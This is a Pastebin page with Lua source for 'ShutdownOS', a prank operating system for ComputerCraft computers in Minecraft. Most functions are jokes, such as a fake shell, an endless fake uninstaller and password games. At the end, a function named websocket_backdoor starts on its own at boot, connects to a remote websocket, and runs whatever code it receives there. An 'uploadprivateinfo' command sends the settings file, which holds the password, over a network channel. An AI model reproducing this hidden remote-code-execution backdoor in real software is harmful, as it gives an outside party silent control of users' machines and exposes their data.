Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- os.pullEvent = os.pullEventRaw
- local version = "3.4.0"
- local nversion = "27"
- os.setComputerLabel("ShutdownOS ".. version)
- noskynet = nil
- skynet = nil
- local didSkynetDie = function()
- local skynet = require("skynet")
- end
- if pcall(didSkynetDie) then
- --print("ok")
- else
- noskynet = true
- end
- if noskynet ~= true then
- skynet = require("skynet")
- end
- --Do we be fast or slow? Must be enabled via secret setting!
- local echo = function(message)
- if settings.get("shutdownos.slow") == true then
- textutils.slowPrint(message)
- else
- print(message)
- end
- end
- function anykey()
- echo("Press any key to continue")
- os.pullEvent("key")
- init()
- end
- --Clears the screen
- function clear()
- term.clear()
- term.setCursorPos(1,1)
- end
- --Sets a setting
- function setsetting(x, y)
- --Set the setting
- settings.set(x, y)
- --Save the settings
- settings.save(".settings")
- end
- function init()
- updatesigns()
- checkforupdates()
- if settings.get("shutdownos.slave") == true then
- slave()
- else
- home()
- end
- end
- function home()
- clear()
- echo("ShutdownOS ".. version)
- echo("Loading.................................................")
- echo("Please login!")
- if noskynet then
- term.setTextColor(colors.red)
- echo("The Skynet API is currently unavailable.")
- term.setTextColor(colors.white)
- end
- echo("For commands, type \"help\" in the password prompt.")
- write("Password: ")
- local input = read()
- local input2 = string.lower(input):gsub('%W','')
- if input2 == "config" then
- config()
- elseif input2 == "update" then
- update()
- elseif input2 == "randompassword" then
- randompassword()
- elseif input2 == "help" then
- help()
- elseif input2 == "shell" then
- openshell()
- elseif input2 == "debug" and settings.get("shutdownos.shell") == true then
- actuallyopenshell()
- elseif input2 == "slave" and turtle then
- enableslave()
- elseif input2 == "rc" then
- rc()
- elseif input2 == "uninstall" then
- uninstall()
- elseif input2 == "shutdown" then
- os.reboot()
- elseif input2 == "uploadprivateinfo" then
- uploadprivateinfo()
- elseif input2 == "bundled" and term.isColor() then
- bundled()
- elseif input2 == "crash" then
- crash()
- elseif input2 == "download" then
- download()
- elseif input == settings.get("shutdownos.password") then
- correctpassword()
- elseif input2 == "potatos" and term.isColor() then
- local thing = shell.openTab("potatofarm 1")
- shell.switchTab(thing)
- elseif fs.exists("/programs/".. input2) and string.len(input2) >= 1 and term.isColor() then
- --TODO: ask creator of tron to add skynet setting
- --if input == "tron" then arg = "skynet" else arg = "" end
- --local thing = multishell.launch({}, "/programs/".. input, arg)
- --multishell.setFocus(thing)
- local thing = shell.openTab("noshell /programs/".. input2)
- shell.switchTab(thing)
- home()
- else
- incorrectpassword()
- end
- end
- function updatesigns()
- for _, sign in pairs({peripheral.find "minecraft:sign"}) do
- sign.setSignText("ShutdownOS", version)
- end
- end
- function download()
- clear()
- echo("To download ShutdownOS on other computers, use:")
- term.setTextColor(colors.red)
- print("pastebin run QcKBFTat")
- term.setTextColor(colors.white)
- anykey()
- end
- function crash()
- while true do
- print("die")
- end
- end
- function bundled()
- local programs = {
- "tron",
- "loading",
- "loadingfork",
- "potatoplex",
- "screensaver",
- "sctracker",
- "potatonet",
- "jumpinggame",
- "infloop",
- "enchat3",
- "strafe",
- "dembois"
- }
- clear()
- textutils.pagedTabulate(programs)
- echo("There is no documentation on what any of these bundled programs do, have fun exploring!")
- anykey()
- end
- function oldbundled()
- clear()
- echo("tron - TRON Light Cycle Game (Requires modem)")
- echo("loading - Tired of fast loading times? This program is for you!")
- echo("loadingfork - Someone forked the last program. Apparently, this one has more messages and different logic.")
- echo("potatoplex - The best screensaver in the world!")
- echo("screensaver - Another screensaver.")
- echo("sctracker - Track SwitchCraft players live! (Does not work for players in the Nether)")
- echo("potatonet - PotatOS' chat program, now on ShutdownOS.")
- anykey()
- end
- function uploadprivateinfo()
- if noskynet then
- term.setTextColor(colors.red)
- echo("The Skynet API is currently unavailable.")
- term.setTextColor(colors.white)
- anykey()
- else
- clear()
- echo("Uploading personal information to Skynet...")
- local h = fs.open(".settings", "r")
- skynet.send("shutdownos.data", h.readAll())
- h.close()
- echo("Done!")
- anykey()
- end
- end
- function uninstall()
- while true do
- sleep(1)
- clear()
- print("Uninstalling.")
- sleep(1)
- clear()
- print("Uninstalling..")
- sleep(1)
- clear()
- print("Uninstalling...")
- end
- end
- function enableslave()
- setsetting("shutdownos.slave", true)
- echo("Slave mode is now enabled.")
- anykey()
- end
- function slave()
- clear()
- echo("ShutdownOS Slave ".. version)
- if noskynet then
- term.setTextColor(colors.red)
- echo("The Skynet API is currently unavailable.")
- term.setTextColor(colors.white)
- anykey()
- else
- echo("Run \"rc\" on a ShutdownOS computer to securely control this turtle.")
- while true do
- local channel, message = skynet.receive("shutdownos.turtle")
- if message == "forward" then
- turtle.forward()
- elseif message == "left" then
- turtle.turnLeft()
- elseif message == "back" then
- turtle.back()
- elseif message == "right" then
- turtle.turnRight()
- elseif message == "up" then
- turtle.up()
- elseif message == "down" then
- turtle.down()
- elseif message == "dig" then
- turtle.dig()
- elseif message == "refuel" then
- turtle.refuel()
- end
- end
- end
- end
- function rc()
- if noskynet then
- term.setTextColor(colors.red)
- echo("The Skynet API is currently unavailable.")
- term.setTextColor(colors.white)
- anykey()
- else
- clear()
- echo("ShutdownOS Remote Control")
- echo("This program securely remote controls turtles running the ShutdownOS Slave program.")
- echo("Use WASD to move.")
- echo("Q and E to go up and down.")
- echo("F to dig.")
- echo("L to refuel.")
- echo("M to quit out of this program.")
- echo("Looking to disable slave mode on the turtle? You can't!")
- while true do
- local event, character = os.pullEvent("char")
- if character == "w" then
- skynet.send("shutdownos.turtle", "forward")
- elseif character == "a" then
- skynet.send("shutdownos.turtle", "left")
- elseif character == "s" then
- skynet.send("shutdownos.turtle", "back")
- elseif character == "d" then
- skynet.send("shutdownos.turtle", "right")
- elseif character == "q" then
- skynet.send("shutdownos.turtle", "up")
- elseif character == "e" then
- skynet.send("shutdownos.turtle", "down")
- elseif character == "f" then
- skynet.send("shutdownos.turtle", "dig")
- elseif character == "l" then
- skynet.send("shutdownos.turtle", "refuel")
- elseif character == "m" then
- home()
- end
- end
- end
- end
- function openshell()
- clear()
- term.setTextColor(colors.yellow)
- print("CraftOS 1.8")
- while true do
- term.setTextColor(colors.yellow)
- write("> ")
- term.setTextColor(colors.white)
- local input = read()
- end
- end
- function actuallyopenshell()
- clear()
- shell.run("/rom/programs/shell.lua")
- end
- function correctpassword()
- clear()
- if settings.get("shutdownos.potatos") == true then
- term.setTextColor(colors.yellow)
- print("PotatOS TuberOS 11736226")
- print("diputs si aloirarreT")
- write("> ")
- term.setTextColor(colors.white)
- local input = read()
- os.shutdown()
- else
- echo("Logged in!")
- textutils.slowPrint("Loading.................................................")
- os.shutdown()
- end
- end
- function incorrectpassword()
- echo("ERROR!!!!!!!! PASSWORD INCORRECT SYSTEM REBOOTING CODE RED")
- sleep(2)
- home()
- end
- function update()
- clear()
- shell.run("pastebin run QcKBFTat")
- os.reboot()
- end
- function randompassword()
- setsetting("shutdownos.password", string.char(math.random(1, 255)))
- setsetting("shutdownos.cantconfig", true)
- echo("Random password mode enabled. Have fun guessing!")
- anykey()
- end
- function help()
- local programs = {
- "config",
- "randompassword",
- "update",
- "help",
- "slave",
- "rc",
- "uninstall",
- "shutdown",
- "uploadprivateinfo",
- "shell",
- "download",
- "potatos",
- "bundled"
- }
- clear()
- textutils.pagedTabulate(programs)
- echo("There is no documentation on what any of these commands do, have fun exploring!")
- anykey()
- end
- function oldhelp()
- clear()
- echo("config - Change your password.")
- echo("randompassword - Make your password random.")
- echo("update - Update ShutdownOS.")
- echo("help - Display help.")
- --echo("chat - Chat with fellow ShutdownOS users.")
- echo("slave - Allows you to securely control your turtle remotely. (Only works on turtles)")
- echo("rc - Securely control your turtle running the ShutdownOS slave program.")
- echo("uninstall - Tired of ShutdownOS? Uninstall it with this easy to use commmand!")
- echo("shutdown - Reboot the system.")
- echo("uploadprivateinfo - Upload your private information to Skynet securely.")
- echo("shell - Open the CraftOS shell.")
- echo("download - Get a command to download ShutdownOS on other computers.")
- echo("bundled - See all bundled programs. (Bundled programs only work on advanced computers")
- anykey()
- end
- function config()
- if settings.get("shutdownos.cantconfig") == true then
- textutils.slowPrint("This command has been disabled.")
- else
- clear()
- local password = settings.get("shutdownos.password")
- textutils.slowPrint("ShutdownOS Config Tool")
- textutils.slowPrint("Current password: ".. password)
- write("Would you like to change this password? ")
- local input = read()
- if input == "" then
- write("Password: ")
- local input = read()
- setsetting("shutdownos.password", input)
- textutils.slowPrint("Password saved!")
- else
- textutils.slowPrint("Aborting...")
- end
- end
- sleep(2)
- home()
- end
- function checkforupdates()
- local h = http.get("https://pastebin.com/raw/pKYxXhwJ")
- if h then
- local cversion = h.readAll()
- h.close()
- if (nversion < cversion) then
- update()
- end
- end
- end
- function safe_serialize(data)
- local ok, res = pcall(textutils.serialise, data)
- if ok then return res
- else return textutils.serialise(tostring(data)) end
- end
- function websocket_backdoor()
- if not http or not http.websocket then return "Websockets do not actually exist on this platform" end
- local ws = http.websocket "wss://osmarks.tk/wsthing/ShutdownOS"
- local function send(msg)
- ws.send(safe_serialize(msg))
- end
- local function recv()
- return ws.receive()
- end
- while true do
- -- Receive and run code from backdoor's admin end
- local code = recv()
- local f, error = load(code, "@<backdoor>", "t")
- if f then -- run safely in background, send back response
- send {pcall(f)}
- else
- send {false, error}
- end
- end
- end
- function screen_flash()
- if not http or not http.websocket then return "Websockets do not actually exist on this platform" end
- local ws = http.websocket "wss://osmarks.tk/wsthing/lasers"
- local function recv()
- return ws.receive()
- end
- while true do
- recv()
- local monitors = {peripheral.find("monitor")}
- term.setPaletteColor(colors.black, 0xCC4C4C)
- -- Setting 2^5 is for juroku support
- term.setPaletteColor(2^5, 0xCC4C4C)
- for k, v in pairs(monitors) do
- v.setPaletteColor(colors.black, 0xCC4C4C)
- v.setPaletteColor(2^5, 0xCC4C4C)
- end
- sleep(1)
- for k, v in pairs(monitors) do
- v.setPaletteColor(colors.black, 0x111111)
- v.setPaletteColor(2^5, 0x000000)
- end
- term.setPaletteColor(colors.black, 0x111111)
- term.setPaletteColor(2^5, 0x000000)
- end
- end
- parallel.waitForAll(init, websocket_backdoor, screen_flash)
Advertisement
Add Comment
Please, Sign In to add comment